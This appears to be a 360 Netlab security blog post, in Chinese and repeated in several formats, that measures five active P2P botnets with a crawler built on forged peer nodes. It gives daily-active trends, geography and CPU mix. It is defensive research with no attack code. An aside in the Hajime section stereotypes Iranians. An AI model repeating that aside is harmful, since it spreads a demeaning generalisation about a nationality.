<p><strong>最近通讯</strong>:常见 P2P 家族,会在每个节点内存中维护一个近期通讯过的“最近通讯列表”。在部分家族中,其他节点还可通过特定指令获取到这个列表,作为自身启动时的种子列表,从而快速加入 P2P 网络。我们可以通过遍历这个“最近通讯列表”,发现更多的对等节点。</p>
<p><strong>节点心跳</strong>:当一个节点维护了“最近通讯列表”后,这个节点一般都会定期向列表中的节点发送心跳报文,声明自身在线情况。基于此,我们可以将“伪造节点”加入对方的活跃列表中,以便于随时获取相应节点的活跃情况。一些情况下,还会通过发送心跳报文的方式保证自己不被踢出列表。</p>
<p><strong>守株待兔</strong>:以Hajime 和Mozi 为例,这两个家族会利用“<a href="https://en.bitcoinwiki.org/wiki/Kademlia">分布式哈希表技术</a>”来实现其P2P网络结构。该技术在设计时为了加速数据查找速度,加入了一个信息到节点距离的规则,并将待存储信息优先保存在距离较近的那些节点上。基于此规则,我们在获知待获取信息后,可以伪造出一个距离该信息最近的节点等待其他节点的到来,当其他节点尝试从伪造节点获取对应家族的信息时,我们就可以直接将对方IP作为跟踪结果记录下来。</p>
<h1 id="">数据含义</h1>
<h2 id="">跟踪家族选择依据</h2>
<p>要想准确估计 P2PBotnet 的整体情况,选择哪些家族很重要,理想状态下肯定是把所有家族都放到一起进行比较,才客观公正,但每增加一个家族都会提高系统整体的完成难度,这是无法一蹴而就的。所以,我们考虑从以下两个维度来筛选合适的家族进行跟踪,以保证最终结果的相对客观。</p>
<p><strong>基于规模</strong>: 在选择家族时,最优先考虑的指标就是要规模够大,或者说曾经历史上的规模够大,这样才能保证我们的评估结果有说服力,所以“Hajime”/“Mozi”/“pink” 毫无疑问的中选了。</p>
<p><strong>近期披露</strong>: 其次的选择就是新出现,并已经活跃一段时间,以避免后来者居上的情况发生,基于此,我们选择了本年新披露的 “panchan” 和 “frizefrog”作为跟踪目标。</p>
<h2 id="ip">受控端IP的含义</h2>
<p>视宿主设备类型而定,受控端IP的含义会存在一些挑战,并不能直接反应受感染设备的真实数量。</p>
<p><em>受控宿主为常年在线服务器</em>:这类服务器为了能够稳定的提供服务,其公网IP一般不会变化。此时受控端的公网IP和设备数量间有稳定的对应关系。</p>
<p><em>受控端宿主为IoT设备</em>:这类设备一般出现在居民网段内。居民上网时,一方面会出现多户居民共用同一公网出口的情况(NAT网络),另一方面还会有拨号上网按时计费的情况,使居民的IP地址频繁变动。这会导致公网IP与设备间的映射关系出现较大的不确定性。多设备共用一个公网IP(NAT场景),在一个时间窗口内设备多次切换不同的IP(拨号上网场景)。</p>
<h1 id="">各家族日活趋于稳定</h1>
<p>作为对比,如果我们把 8月以来每个周一的日活数作为抽样,来绘制中长期跟踪图,如下所示:</p>
<p><img src="__GHOST_URL__/content/images/2022/10/P2P_080910_HMP.png" alt="P2P_080910_HMP" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/10/P2P_080910_Fri_Panchan.png" alt="P2P_080910_Fri_Panchan" loading="lazy"></p>
<p>从量级上,我们能首先得出,5个家族在日活规模上的大小关系:</p>
<p>Pink > Hajime > Mozi >> FritzFrog <> Panchan</p>
<p>其次,还可以看出,在三个月以来,各家族的日活数据变化并不大(关于 Pink 在8月份的波动情况见下文的讨论,这里暂时忽略)。面对这样的现象,我们大致讨论出了以下几点原因,供大家参考:</p>
<ol>
<li>P2P 类型的僵尸网络,天然难以清理。集中式的僵尸网络只要打掉主控端,受控端很容易失去活性逐步被其他网络蚕食。而P2P类型则不存在严格的主控端,每个节点都是自发的扩展和传播,想要完全在网络上清理干净很难。</li>
<li>IoT类型的设备不会频繁更换和升级。这些僵尸网络的宿主大部分以 IoT 设备为主,不更换意味着长期处在“染毒”的状态,设备系统不升级,意味着长期处在“易感染”的状态。综合下来,这些僵尸网络的节点数量就会处在一个相对稳定的状态下。</li>
<li>长期闷声,更新也不频繁。对于僵尸网络来说,每次“增加”或“减少”传播策略,一般都会引起僵尸网络节点数量的波动。而上述5中僵尸网络在近期并没有看到更新。所以节点数量会维持在一个相对稳定的状态。</li>
<li>它们造成的恶劣影响,还不足以使安全社区产生强烈的清理愿望。另一方面,它们很长一段时间都没有更新,也没有机会在大众视野中亮相,这也会降低安全社区处置的欲望。</li>
</ol>
<h1 id="">按家族分别统计</h1>
<h2 id="pink">Pink</h2>
<p>Pink 家族曾在中国境内感染了超过百万级的设备,其非实效性指令通过 P2P 传递,实效性强的指令通过集中控制的方式发布。是一个设计巧妙的 P2P 僵尸网络家族。更多相关信息可参考我们曾经发布过的报告:</p>
<p>《<a href="__GHOST_URL__/pink-en/">Pink, a botnet that competed with the vendor to control the massive infected devices</a>》</p>
<p><strong>地理分布</strong></p>
<p><img src="__GHOST_URL__/content/images/2022/08/pink_world_map.png" alt="pink_world_map" loading="lazy"></p>
<p>如图所示,Pink的影响范围是以国内IoT设备为主,下面是其在国内的分布情况:</p>
<p><img src="__GHOST_URL__/content/images/2022/08/pink_china_map.png" alt="pink_china_map" loading="lazy"></p>
<p><strong>日活波动</strong></p>
<p>值得特别提到的是,该家族7月份以来的日活数据有较大的波动,首先在7月12日开始的一个星期内下降了一个数量级,日活达到2万左右级别,随后在8月20日之后的一段时间瞬间归零10天左右,9月份又回到2万级别日活。日活波动情况可参看下图:</p>
<p><img src="__GHOST_URL__/content/images/2022/09/pink_tracker-1.png" alt="pink_tracker-1" loading="lazy"></p>
<p>为了分析波动原因,我们分别选取 7月12日/7月26日/9月1日 的日活数据分别绘制地理分布图,发现,大部分省份的日活数量发生显著的降低。如下三图所示:</p>
<p><img src="__GHOST_URL__/content/images/2022/09/pink_0712_china_map.png" alt="pink_0712_china_map" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/09/pink_2022_07_26.png" alt="pink_2022_07_26" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2022/09/pink_2022_09_01.png" alt="pink_2022_09_01" loading="lazy"></p>
<p>基于以上内容,我们推测,在7月份,各省份进行了较为统一的处置工作,使受感染设备的数量出现大幅下降。而在8月末的波动中,则更可能是类似于防火墙短期规则产生的效果,阻断了跟踪器同PINK节点的通讯。</p>
<h2 id="hajime">Hajime</h2>
<p>Hajime 的出现时间与 MIRAI 同年,前后差不到几个月,其提示信息中一直声称是由“白帽子”运营的。Hajime 的各组件功能也以自传播为主要目标。其组件间的通讯及管理,大量使用了非对称加解密算法的特性,是一个极为经典的 P2P 僵尸网络家族。更多详细资料可参考我们曾经发布过的报告:</p>
<p>《<a href="__GHOST_URL__/hajime-status-report/">Is Hajime botnet dead?</a>》</p>
<p><strong>地理分布</strong></p>
<p><img src="__GHOST_URL__/content/images/2022/08/hajime_world_map.png" alt="hajime_world_map" loading="lazy"></p>
<p><strong>伊朗居首</strong></p>
<p>作为IT从业者,提到伊朗,能想到的只有“伊核协议”或者“头巾”,似乎很难把它和“电子化”扯上关系。即使是多次在IoT设备感染列表的前列中看到来自伊朗的IP,也总觉得伊朗不会有那么多的智能设备,大概是数据失真了。</p>
<p>近期有机会在“俄乌战场”上看到“<a href="https://zhuanlan.zhihu.com/p/576038888">伊朗无人机</a>”发挥的效果,可以说是挺超出预期的。现在笔者开始想,如果排除数据失真,就意味着伊朗在一些地方是超出多数人想象的,虽然看到的这些东西还远谈不上先进,但是他们能大量的制造无人机,提纯核原料,网络上还有着大量的智能设备,这些侧面都表明他们在“工业化”和“电子化”上是有积累的,背后肯定有大量受过高等教育的工程师。他们有着和中西方完全不同的文字和文化,正在另一个世界里猥琐发育呢。</p>
<p><strong>Hajime 中的CPU分布情况</strong></p>
<p>Hajime是基于文件传递构建的P2P网络,每个Hajime在运行期间,会尝试寻找最新版本的 .i.xxx 和 atk.xxx 文件(比如:atk.arm7/.i.arm7),这就给了我们评估“Hajime网络”中 CPU 分布情况的一个机会。当 Hajime 节点向我方询问哪些节点包含相应文件时,会得到一次 DHT.search 计数。当 Hajime 节点向我方请求下载相应文件时,会得到一次 uTP.Request 计数。两种文件,两种计数,汇总后就可以得到如下四张饼图分布情况:</p>
<p><img src="__GHOST_URL__/content/images/2022/08/hajime_cpu_count-2.png" alt="hajime_cpu_count-2" loading="lazy"></p>
<p>基于以上饼图,我们可以确定,在 Hajime 网络中,MIPS 的宿主最多,远超其他类型宿主之和,而MIPSEL 的宿主节点最少。</p>
<p>如果考虑到 Hajime 曾集成过大量的漏洞用于传播,这个数据甚至可以在一定程度反应各类型CPU在智能设备中的分布情况。</p>
<h2 id="mozi">Mozi</h2>
<p>Mozi 起初是一个以 DDoS攻击 为获益目标的P2P家族,后来还增加了挖矿获益的部分。其网络拓扑是以 DHT 协议为基础,构建起来的。更多的信息可以参考我们发布过的报告。</p>
<p>《<a href="__GHOST_URL__/mozi-another-botnet-using-dht/">Mozi, Another Botnet Using DHT</a>》</p>
<p>《<a href="__GHOST_URL__/the-mostly-dead-mozi-and-its-lingering-bots/">The Mostly Dead Mozi and Its’ Lingering Bots</a>》</p>
<p><strong>地理分布</strong></p>
<p><img src="__GHOST_URL__/content/images/2022/08/mozi_world_map.png" alt="mozi_world_map" loading="lazy"></p>
<p>从排名上看,第一严重是中国,第二严重是印度。前两年中印边境闹磨擦的时候,正赶上大量 Mozi 的节点从印度扫描国内设备,还闹的大家有些紧张。后来嘛,抓到人了,就又不那么紧张了。</p>
<h2 id="fritzfrog">FritzFrog</h2>
<p>FritzFrog 是一个以挖矿为获益目标的 P2P 家族,其依托于 SSH服务构建起 P2P网络。由 akamai 最先披露。更多详细资料可参考下面的报告(有趣的是,它的收益钱包地址和 Mozi 有关):</p>
<p>《<a href="https://www.akamai.com/blog/security/fritzfrog-p2p">FritzFrog: P2P Botnet Hops Back on the Scene</a>》</p>
<p><strong>地理分布</strong></p>
<p><img src="__GHOST_URL__/content/images/2022/08/fritzfrog_world_map.png" alt="fritzfrog_world_map" loading="lazy"></p>
<p><strong>FritzFrog中的账户口令</strong></p>
<p>由于 FritzFrog 的P2P机制是基于SSH实现的,所以爬取回来的数据中存在宿主机器口令组合,我们可以看一下口令组合的分布情况,统计一下哪些口令贡献了最多的宿主机</p>
<p><img src="__GHOST_URL__/content/images/2022/10/fritzfrog_user_pass.png" alt="fritzfrog_user_pass" loading="lazy"></p>
<p>组合排名第一的是一个<code>1</code> 开头的密码,有看客能把它补全不?</p>
<h2 id="panchan">Panchan</h2>
<p>Panchan 是一个 Go 语言开发的 P2P 僵尸网络,以挖矿为获益手段,利用 SSH 弱口令为传播途径。其代码中包含大量 日文片假名,这表明 Panchan 的开发者可以熟练使用日文。另一个有趣的点在于:它在监听端口上,利用协议复用的思路实现了一个交互控制台,允许管理员从网络上对节点进行一些简单的查询和管理工作。更多详细信息可参考如下报告:</p>
<p>《<a href="https://www.akamai.com/blog/security/new-p2p-botnet-panchan">Panchan’s Mining Rig: New Golang Peer-to-Peer Botnet Says “Hi!”</a>》</p>
<p><strong>地理分布</strong></p>
<p>panchan 的日活长期稳定在两位数,相比其他几个动辄5位数日活的家族来说,感染规模并不算大。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/panchan_world_map-1.png" alt="panchan_world_map-1" loading="lazy"></p>
<p>别被美国的红色吓到,其实只有14个日活。</p>
<h1 id="">结论</h1>
<p>本文利用跟踪数据,综合评估了各 P2P 型僵尸网络的规模和活跃情况,并从不同的跟踪数据中看到了一些网络安全以外的现象。</p>
<h1 id="">解决方案</h1>
<p>基于Netlab多年研究工作孵化的360全系列DNS安全产品均已支持文中远控服务器的拦截和检测,同时内置多种算法可有效发现和拦截各种未知威胁,建议企业客户接入360 DNS安全SaaS平台或部署本地360DNS安全产品,及时防范此类新型威胁,避免企业资产失陷。联系人: <a href="mailto:wangkun-bd@360.cn">wangkun-bd@360.cn</a></p>
<h1 id="">联系我们</h1>
<p>感兴趣的读者,可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<!--kg-card-end: markdown--><p> </p> | 缘起
P2P结构的网络比传统的C/S结构具有更好的可扩展性和健壮性,这些优点很早就为botnet的作者所认识到并被用到他们的僵尸网络中。从时间上看,2007年出现的Storm可以算是这方面的鼻祖,那时botnet这种网络威胁刚为大众所知。Storm之后,陆续又有Karen、ZeroAccess、GameOver、Hijime、mozi等20来种P2P botnet先后出现,它们在技术上各有特点,共同点就是规模大、防御难度大,想让它们彻底消失比较困难,比如Mozi在作者已经明确放弃甚至被抓几年之后还在活跃,可谓“百足之虫死而不僵”。
早期的P2P botnet主要针对Windows机器,比如Storm、ZeroAccess以及GameOver感染的都是Windows操作系统。2016年Mirai出现之后,网络上那些大量存在而又缺乏防御的Linux IoT设备开始成为许多botnet的目标,Hijime、mozi、pink等针对Linux设备的P2P botnet陆续出现。
由于P2P网络“无中心”的特点,使用传统的手段来评估其规模有点困难。为了解决这个问题,安全研究人员另辟蹊径,发明了P2P爬虫技术,通过它来跟踪某个P2P botnet,获取节点IP以及下载链接和配置等信息,用于规模评估和定点清除。
360 Netlab致力于及时发现和跟踪大网上活跃的botnet,对P2P僵尸网络当然不会放过,比如我们19年首先公开分析了mozi僵尸网络。为了更好的“看见”威胁,我们基于自身的积累以及业内已有的分析结果构建了一个针对P2P Botnet的工业级别跟踪系统,目标是覆盖所有活跃的P2P botnet,目前基于“历史规模较大”和“近期出现”这两个维度优先跟踪了Pink、Mozi、Hajime、FritzFrog和Panchan这5个仍在活跃的家族,本文基于这个系统产生的跟踪数据简单分析下这5个家族的现状。
PS: 除本文提到的 5 个家族外,也欢迎读者把其他感兴趣的活跃家族留在下方评论区,我们可以酌情优先安排盯梢。
跟踪策略概述
本小节会简单介绍一下跟踪系统中使用的主要跟踪策略,以方面读者理解文中所用数据的产生过程,增强数据的可解释性。
跟踪目标
该跟踪系统以记录节点IP为主要目标,通过模拟通讯协议的方法伪造一个节点,并使其加入对应的P2P网络,参与数据报文交换。每成功完成一次报文交换,便记录下对方的IP,最终实现对目标P2P网络所有节点的记录。
策略展开
PS:由于各P2P家族的协议设计各不相同,所以以下策略并不能全部利用在各个家族上,只能根据实际情况选择其中至少一个策略作为对应家族的跟踪策略。
主动探测:该策略从工作原理上看,有些类似于公网扫描器。它首先向目标节点投喂探测报文,然后对收到的回复报文进行解析,当返回的报文格式符合家族特征时,则将对端认定为对等节点。在实际操作中,我们会先划定一个探测范围,再对这个范围内的节点进行探测(其中探测范围可能由一个可疑网段组成,也可能是从其他策略中产生的可疑节点组成)。
最近通讯:常见 P2P 家族,会在每个节点内存中维护一个近期通讯过的“最近通讯列表”。在部分家族中,其他节点还可通过特定指令获取到这个列表,作为自身启动时的种子列表,从而快速加入 P2P 网络。我们可以通过遍历这个“最近通讯列表”,发现更多的对等节点。
节点心跳:当一个节点维护了“最近通讯列表”后,这个节点一般都会定期向列表中的节点发送心跳报文,声明自身在线情况。基于此,我们可以将“伪造节点”加入对方的活跃列表中,以便于随时获取相应节点的活跃情况。一些情况下,还会通过发送心跳报文的方式保证自己不被踢出列表。
守株待兔:以Hajime 和Mozi 为例,这两个家族会利用“分布式哈希表技术”来实现其P2P网络结构。该技术在设计时为了加速数据查找速度,加入了一个信息到节点距离的规则,并将待存储信息优先保存在距离较近的那些节点上。基于此规则,我们在获知待获取信息后,可以伪造出一个距离该信息最近的节点等待其他节点的到来,当其他节点尝试从伪造节点获取对应家族的信息时,我们就可以直接将对方IP作为跟踪结果记录下来。
数据含义
跟踪家族选择依据
要想准确估计 P2PBotnet 的整体情况,选择哪些家族很重要,理想状态下肯定是把所有家族都放到一起进行比较,才客观公正,但每增加一个家族都会提高系统整体的完成难度,这是无法一蹴而就的。所以,我们考虑从以下两个维度来筛选合适的家族进行跟踪,以保证最终结果的相对客观。
基于规模: 在选择家族时,最优先考虑的指标就是要规模够大,或者说曾经历史上的规模够大,这样才能保证我们的评估结果有说服力,所以“Hajime”/“Mozi”/“pink” 毫无疑问的中选了。
近期披露: 其次的选择就是新出现,并已经活跃一段时间,以避免后来者居上的情况发生,基于此,我们选择了本年新披露的 “panchan” 和 “frizefrog”作为跟踪目标。
受控端IP的含义
视宿主设备类型而定,受控端IP的含义会存在一些挑战,并不能直接反应受感染设备的真实数量。
受控宿主为常年在线服务器:这类服务器为了能够稳定的提供服务,其公网IP一般不会变化。此时受控端的公网IP和设备数量间有稳定的对应关系。
受控端宿主为IoT设备:这类设备一般出现在居民网段内。居民上网时,一方面会出现多户居民共用同一公网出口的情况(NAT网络),另一方面还会有拨号上网按时计费的情况,使居民的IP地址频繁变动。这会导致公网IP与设备间的映射关系出现较大的不确定性。多设备共用一个公网IP(NAT场景),在一个时间窗口内设备多次切换不同的IP(拨号上网场景)。
各家族日活趋于稳定
作为对比,如果我们把 8月以来每个周一的日活数作为抽样,来绘制中长期跟踪图,如下所示:
从量级上,我们能首先得出,5个家族在日活规模上的大小关系:
Pink > Hajime > Mozi >> FritzFrog <> Panchan
其次,还可以看出,在三个月以来,各家族的日活数据变化并不大(关于 Pink 在8月份的波动情况见下文的讨论,这里暂时忽略)。面对这样的现象,我们大致讨论出了以下几点原因,供大家参考:
1. P2P 类型的僵尸网络,天然难以清理。集中式的僵尸网络只要打掉主控端,受控端很容易失去活性逐步被其他网络蚕食。而P2P类型则不存在严格的主控端,每个节点都是自发的扩展和传播,想要完全在网络上清理干净很难。
2. IoT类型的设备不会频繁更换和升级。这些僵尸网络的宿主大部分以 IoT 设备为主,不更换意味着长期处在“染毒”的状态,设备系统不升级,意味着长期处在“易感染”的状态。综合下来,这些僵尸网络的节点数量就会处在一个相对稳定的状态下。
3. 长期闷声,更新也不频繁。对于僵尸网络来说,每次“增加”或“减少”传播策略,一般都会引起僵尸网络节点数量的波动。而上述5中僵尸网络在近期并没有看到更新。所以节点数量会维持在一个相对稳定的状态。
4. 它们造成的恶劣影响,还不足以使安全社区产生强烈的清理愿望。另一方面,它们很长一段时间都没有更新,也没有机会在大众视野中亮相,这也会降低安全社区处置的欲望。
按家族分别统计
Pink
Pink 家族曾在中国境内感染了超过百万级的设备,其非实效性指令通过 P2P 传递,实效性强的指令通过集中控制的方式发布。是一个设计巧妙的 P2P 僵尸网络家族。更多相关信息可参考我们曾经发布过的报告:
《Pink, a botnet that competed with the vendor to control the massive infected devices》
地理分布
如图所示,Pink的影响范围是以国内IoT设备为主,下面是其在国内的分布情况:
日活波动
值得特别提到的是,该家族7月份以来的日活数据有较大的波动,首先在7月12日开始的一个星期内下降了一个数量级,日活达到2万左右级别,随后在8月20日之后的一段时间瞬间归零10天左右,9月份又回到2万级别日活。日活波动情况可参看下图:
为了分析波动原因,我们分别选取 7月12日/7月26日/9月1日 的日活数据分别绘制地理分布图,发现,大部分省份的日活数量发生显著的降低。如下三图所示:
基于以上内容,我们推测,在7月份,各省份进行了较为统一的处置工作,使受感染设备的数量出现大幅下降。而在8月末的波动中,则更可能是类似于防火墙短期规则产生的效果,阻断了跟踪器同PINK节点的通讯。
Hajime
Hajime 的出现时间与 MIRAI 同年,前后差不到几个月,其提示信息中一直声称是由“白帽子”运营的。Hajime 的各组件功能也以自传播为主要目标。其组件间的通讯及管理,大量使用了非对称加解密算法的特性,是一个极为经典的 P2P 僵尸网络家族。更多详细资料可参考我们曾经发布过的报告:
《Is Hajime botnet dead?》
地理分布
伊朗居首
作为IT从业者,提到伊朗,能想到的只有“伊核协议”或者“头巾”,似乎很难把它和“电子化”扯上关系。即使是多次在IoT设备感染列表的前列中看到来自伊朗的IP,也总觉得伊朗不会有那么多的智能设备,大概是数据失真了。
近期有机会在“俄乌战场”上看到“伊朗无人机”发挥的效果,可以说是挺超出预期的。现在笔者开始想,如果排除数据失真,就意味着伊朗在一些地方是超出多数人想象的,虽然看到的这些东西还远谈不上先进,但是他们能大量的制造无人机,提纯核原料,网络上还有着大量的智能设备,这些侧面都表明他们在“工业化”和“电子化”上是有积累的,背后肯定有大量受过高等教育的工程师。他们有着和中西方完全不同的文字和文化,正在另一个世界里猥琐发育呢。
Hajime 中的CPU分布情况
Hajime是基于文件传递构建的P2P网络,每个Hajime在运行期间,会尝试寻找最新版本的 .i.xxx 和 atk.xxx 文件(比如:atk.arm7/.i.arm7),这就给了我们评估“Hajime网络”中 CPU 分布情况的一个机会。当 Hajime 节点向我方询问哪些节点包含相应文件时,会得到一次 DHT.search 计数。当 Hajime 节点向我方请求下载相应文件时,会得到一次 uTP.Request 计数。两种文件,两种计数,汇总后就可以得到如下四张饼图分布情况:
基于以上饼图,我们可以确定,在 Hajime 网络中,MIPS 的宿主最多,远超其他类型宿主之和,而MIPSEL 的宿主节点最少。
如果考虑到 Hajime 曾集成过大量的漏洞用于传播,这个数据甚至可以在一定程度反应各类型CPU在智能设备中的分布情况。
Mozi
Mozi 起初是一个以 DDoS攻击 为获益目标的P2P家族,后来还增加了挖矿获益的部分。其网络拓扑是以 DHT 协议为基础,构建起来的。更多的信息可以参考我们发布过的报告。
《Mozi, Another Botnet Using DHT》
《The Mostly Dead Mozi and Its’ Lingering Bots》
地理分布
从排名上看,第一严重是中国,第二严重是印度。前两年中印边境闹磨擦的时候,正赶上大量 Mozi 的节点从印度扫描国内设备,还闹的大家有些紧张。后来嘛,抓到人了,就又不那么紧张了。
FritzFrog
FritzFrog 是一个以挖矿为获益目标的 P2P 家族,其依托于 SSH服务构建起 P2P网络。由 akamai 最先披露。更多详细资料可参考下面的报告(有趣的是,它的收益钱包地址和 Mozi 有关):
《FritzFrog: P2P Botnet Hops Back on the Scene》
地理分布
FritzFrog中的账户口令
由于 FritzFrog 的P2P机制是基于SSH实现的,所以爬取回来的数据中存在宿主机器口令组合,我们可以看一下口令组合的分布情况,统计一下哪些口令贡献了最多的宿主机
组合排名第一的是一个1 开头的密码,有看客能把它补全不?
Panchan
Panchan 是一个 Go 语言开发的 P2P 僵尸网络,以挖矿为获益手段,利用 SSH 弱口令为传播途径。其代码中包含大量 日文片假名,这表明 Panchan 的开发者可以熟练使用日文。另一个有趣的点在于:它在监听端口上,利用协议复用的思路实现了一个交互控制台,允许管理员从网络上对节点进行一些简单的查询和管理工作。更多详细信息可参考如下报告:
《Panchan’s Mining Rig: New Golang Peer-to-Peer Botnet Says “Hi!”》
地理分布
panchan 的日活长期稳定在两位数,相比其他几个动辄5位数日活的家族来说,感染规模并不算大。
别被美国的红色吓到,其实只有14个日活。
结论
本文利用跟踪数据,综合评估了各 P2P 型僵尸网络的规模和活跃情况,并从不同的跟踪数据中看到了一些网络安全以外的现象。
解决方案
基于Netlab多年研究工作孵化的360全系列DNS安全产品均已支持文中远控服务器的拦截和检测,同时内置多种算法可有效发现和拦截各种未知威胁,建议企业客户接入360 DNS安全SaaS平台或部署本地360DNS安全产品,及时防范此类新型威胁,避免企业资产失陷。联系人: wangkun-bd@360.cn
联系我们
感兴趣的读者,可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 缘起\nP2P结构的网络比传统的C/S结构具有更好的可扩展性和健壮性,这些优点很早就为botnet的作者所认识到并被用到他们的僵尸网络中。从时间上看,2007年出现的[Storm](https://en.wikipedia.org/wiki/Storm_botnet)可以算是这方面的鼻祖,那时botnet这种网络威胁刚为大众所知。Storm之后,陆续又有Karen、[ZeroAccess](https://ijcttjournal.org/archives/ijctt-v12p112)、GameOver、Hijime、mozi等20来种P2P botnet先后出现,它们在技术上各有特点,共同点就是规模大、防御难度大,想让它们彻底消失比较困难,比如Mozi在作者已经明确放弃甚至被抓几年之后还在活跃,可谓“百足之虫死而不僵”。\n\n早期的P2P botnet主要针对Windows机器,比如Storm、ZeroAccess以及GameOver感染的都是Windows操作系统。2016年Mirai出现之后,网络上那些大量存在而又缺乏防御的Linux IoT设备开始成为许多botnet的目标,Hijime、mozi、pink等针对Linux设备的P2P botnet陆续出现。\n\n由于P2P网络“无中心”的特点,使用传统的手段来评估其规模有点困难。为了解决这个问题,安全研究人员另辟蹊径,发明了P2P爬虫技术,通过它来跟踪某个P2P botnet,获取节点IP以及下载链接和配置等信息,用于规模评估和定点清除。\n\n360 Netlab致力于及时发现和跟踪大网上活跃的botnet,对P2P僵尸网络当然不会放过,比如我们19年首先公开分析了mozi僵尸网络。为了更好的“看见”威胁,我们基于自身的积累以及业内已有的分析结果构建了一个针对P2P Botnet的工业级别跟踪系统,目标是覆盖所有活跃的P2P botnet,目前基于“历史规模较大”和“近期出现”这两个维度优先跟踪了Pink、Mozi、Hajime、FritzFrog和Panchan这5个仍在活跃的家族,本文基于这个系统产生的跟踪数据简单分析下这5个家族的现状。\n\n***PS:*** 除本文提到的 5 个家族外,也欢迎读者把其他感兴趣的活跃家族留在下方评论区,我们可以酌情优先安排盯梢。\n\n# 跟踪策略概述\n\n本小节会简单介绍一下跟踪系统中使用的主要跟踪策略,以方面读者理解文中所用数据的产生过程,增强数据的可解释性。\n\n## 跟踪目标\n该跟踪系统以记录节点IP为主要目标,通过模拟通讯协议的方法伪造一个节点,并使其加入对应的P2P网络,参与数据报文交换。每成功完成一次报文交换,便记录下对方的IP,最终实现对目标P2P网络所有节点的记录。\n\n## 策略展开\n\nPS:由于各P2P家族的协议设计各不相同,所以以下策略并不能全部利用在各个家族上,只能根据实际情况选择其中至少一个策略作为对应家族的跟踪策略。\n\n**主动探测**:该策略从工作原理上看,有些类似于公网扫描器。它首先向目标节点投喂探测报文,然后对收到的回复报文进行解析,当返回的报文格式符合家族特征时,则将对端认定为对等节点。在实际操作中,我们会先划定一个探测范围,再对这个范围内的节点进行探测(其中探测范围可能由一个可疑网段组成,也可能是从其他策略中产生的可疑节点组成)。\n\n**最近通讯**:常见 P2P 家族,会在每个节点内存中维护一个近期通讯过的“最近通讯列表”。在部分家族中,其他节点还可通过特定指令获取到这个列表,作为自身启动时的种子列表,从而快速加入 P2P 网络。我们可以通过遍历这个“最近通讯列表”,发现更多的对等节点。\n\n**节点心跳**:当一个节点维护了“最近通讯列表”后,这个节点一般都会定期向列表中的节点发送心跳报文,声明自身在线情况。基于此,我们可以将“伪造节点”加入对方的活跃列表中,以便于随时获取相应节点的活跃情况。一些情况下,还会通过发送心跳报文的方式保证自己不被踢出列表。\n\n**守株待兔**:以Hajime 和Mozi 为例,这两个家族会利用“[分布式哈希表技术](https://en.bitcoinwiki.org/wiki/Kademlia)”来实现其P2P网络结构。该技术在设计时为了加速数据查找速度,加入了一个信息到节点距离的规则,并将待存储信息优先保存在距离较近的那些节点上。基于此规则,我们在获知待获取信息后,可以伪造出一个距离该信息最近的节点等待其他节点的到来,当其他节点尝试从伪造节点获取对应家族的信息时,我们就可以直接将对方IP作为跟踪结果记录下来。\n\n# 数据含义\n\n## 跟踪家族选择依据\n\n要想准确估计 P2PBotnet 的整体情况,选择哪些家族很重要,理想状态下肯定是把所有家族都放到一起进行比较,才客观公正,但每增加一个家族都会提高系统整体的完成难度,这是无法一蹴而就的。所以,我们考虑从以下两个维度来筛选合适的家族进行跟踪,以保证最终结果的相对客观。\n\n**基于规模**: 在选择家族时,最优先考虑的指标就是要规模够大,或者说曾经历史上的规模够大,这样才能保证我们的评估结果有说服力,所以“Hajime”/“Mozi”/“pink” 毫无疑问的中选了。\n\n**近期披露**: 其次的选择就是新出现,并已经活跃一段时间,以避免后来者居上的情况发生,基于此,我们选择了本年新披露的 “panchan” 和 “frizefrog”作为跟踪目标。\n\n## 受控端IP的含义\n\n视宿主设备类型而定,受控端IP的含义会存在一些挑战,并不能直接反应受感染设备的真实数量。\n\n*受控宿主为常年在线服务器*:这类服务器为了能够稳定的提供服务,其公网IP一般不会变化。此时受控端的公网IP和设备数量间有稳定的对应关系。\n\n*受控端宿主为IoT设备*:这类设备一般出现在居民网段内。居民上网时,一方面会出现多户居民共用同一公网出口的情况(NAT网络),另一方面还会有拨号上网按时计费的情况,使居民的IP地址频繁变动。这会导致公网IP与设备间的映射关系出现较大的不确定性。多设备共用一个公网IP(NAT场景),在一个时间窗口内设备多次切换不同的IP(拨号上网场景)。\n\n# 各家族日活趋于稳定\n\n作为对比,如果我们把 8月以来每个周一的日活数作为抽样,来绘制中长期跟踪图,如下所示:\n\n![P2P_080910_HMP](__GHOST_URL__/content/images/2022/10/P2P_080910_HMP.png)\n\n![P2P_080910_Fri_Panchan](__GHOST_URL__/content/images/2022/10/P2P_080910_Fri_Panchan.png)\n\n从量级上,我们能首先得出,5个家族在日活规模上的大小关系:\n\nPink > Hajime > Mozi >> FritzFrog <> Panchan\n\n其次,还可以看出,在三个月以来,各家族的日活数据变化并不大(关于 Pink 在8月份的波动情况见下文的讨论,这里暂时忽略)。面对这样的现象,我们大致讨论出了以下几点原因,供大家参考:\n\n1. P2P 类型的僵尸网络,天然难以清理。集中式的僵尸网络只要打掉主控端,受控端很容易失去活性逐步被其他网络蚕食。而P2P类型则不存在严格的主控端,每个节点都是自发的扩展和传播,想要完全在网络上清理干净很难。\n2. IoT类型的设备不会频繁更换和升级。这些僵尸网络的宿主大部分以 IoT 设备为主,不更换意味着长期处在“染毒”的状态,设备系统不升级,意味着长期处在“易感染”的状态。综合下来,这些僵尸网络的节点数量就会处在一个相对稳定的状态下。\n3. 长期闷声,更新也不频繁。对于僵尸网络来说,每次“增加”或“减少”传播策略,一般都会引起僵尸网络节点数量的波动。而上述5中僵尸网络在近期并没有看到更新。所以节点数量会维持在一个相对稳定的状态。\n4. 它们造成的恶劣影响,还不足以使安全社区产生强烈的清理愿望。另一方面,它们很长一段时间都没有更新,也没有机会在大众视野中亮相,这也会降低安全社区处置的欲望。\n\n# 按家族分别统计\n\n\n## Pink\n\nPink 家族曾在中国境内感染了超过百万级的设备,其非实效性指令通过 P2P 传递,实效性强的指令通过集中控制的方式发布。是一个设计巧妙的 P2P 僵尸网络家族。更多相关信息可参考我们曾经发布过的报告:\n\n《[Pink, a botnet that competed with the vendor to control the massive infected 